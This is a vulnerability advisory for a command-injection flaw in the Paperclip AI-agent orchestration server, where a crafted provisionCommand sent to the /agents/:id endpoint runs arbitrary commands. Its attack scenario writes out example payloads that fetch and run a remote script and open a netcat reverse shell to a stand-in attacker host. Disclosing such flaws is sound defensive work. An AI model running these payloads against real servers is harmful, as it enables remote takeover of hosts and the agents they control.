Paperclip @paperclipai/server EUVD-2026-25162

Requires valid Agent API key authentication (PR:L). Exploitation is possible against default configurations of Paperclip server when the /agents/:id API endpoint is network-accessible (AV:N). The vulnerability is triggered during workspace provisioning operations, which occur when agents request new execution environments. No special server configuration, non-default features, or user interaction (UI:N) is required beyond the standard agent workspace lifecycle. Attack complexity is low (AC:L) as the exploitation technique involves standard HTTP API calls with malicious configuration payloads. The primary limiting factor is credential acquisition-attackers must first obtain a valid Agent API key through theft, social engineering, or compromise of systems where agent credentials are stored. Organizations not using the workspace provisioning feature or those with agent API access restricted to internal networks only face reduced exposure.

Real-world risk is HIGH despite the PR:L (low-privilege authentication) requirement. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates network-accessible exploitation with low complexity once agent credentials are obtained, leading to complete compromise of confidentiality, integrity, and availability on the server host. The attack requires only Agent API key authentication-credentials that may be distributed across multiple agents in a production deployment, expanding the attack surface. No EPSS score provided, but the combination of network accessibility, low attack complexity, and high impact warrants prioritization. No CISA KEV listing or public exploit code identified, suggesting this is not yet widely exploited, but the vulnerability is publicly disclosed via GitHub Security Advisory GHSA-265w-rf2w-cjh4, which typically accelerates weaponization timelines. The severity is amplified in multi-tenant or production AI orchestration environments where agent credentials may be shared, stolen, or compromised through social engineering. Organizations running Paperclip in production should treat this as CRITICAL for immediate patching, as RCE on the orchestration server grants full control over all managed AI agents and their data.

An attacker obtains valid Agent API credentials through phishing, stolen environment variables, or compromised CI/CD pipelines. The attacker crafts a malicious HTTP PUT request to the /agents/:id endpoint, setting adapterConfig.workspaceStrategy.provisionCommand to a payload like "curl attacker.com/shell.sh | bash" or "nc -e /bin/bash attacker.com 4444". When the Paperclip server next provisions a workspace for that agent, it executes the injected command with the server process privileges, granting the attacker a reverse shell on the host system. From there, the attacker can access sensitive data, pivot to other systems, or install persistence mechanisms.